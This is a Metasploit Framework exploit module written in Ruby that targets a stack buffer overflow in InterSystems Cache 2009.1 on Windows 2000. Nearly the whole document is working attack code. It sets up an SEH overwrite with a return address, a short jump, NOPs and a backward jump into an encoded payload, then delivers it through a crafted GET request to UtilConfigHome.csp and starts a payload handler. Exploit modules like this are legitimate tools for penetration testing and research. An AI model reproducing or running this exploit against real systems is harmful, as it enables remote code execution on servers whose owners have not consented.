InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in InterSystems Cache 2009.1.  
By sending a specially crafted GET request, an attacker may be able to execute  
arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 7724 $',  
'References' =>  
[  
[ 'BID', '37177' ],  
[ 'OSVDB', '60549' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 650,  
'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret  
],  
'DefaultTarget' => 0,   
'DisclosureDate' => 'Sep 29 2009')) # Initially...!  
  
register_options( [ Opt::RPORT(57772) ], self.class )  
  
end  
  
def exploit  
# offset to the seh frame.  
sploit = payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)  
# jmp $+6 | p/p/r  
sploit << Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')  
# fall into some nops, jmp back to our final payload.  
sploit << make_nops(8) + [0xe9, -700].pack('CV')  
# cause the av!  
sploit << rand_text_alpha_upper(payload.encoded.length)  
  
print_status("Trying target #{target.name}...")  
  
send_request_raw({  
'uri' => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,  
'method' => 'GET',  
}, 5)  
  
handler  
end   
end  
`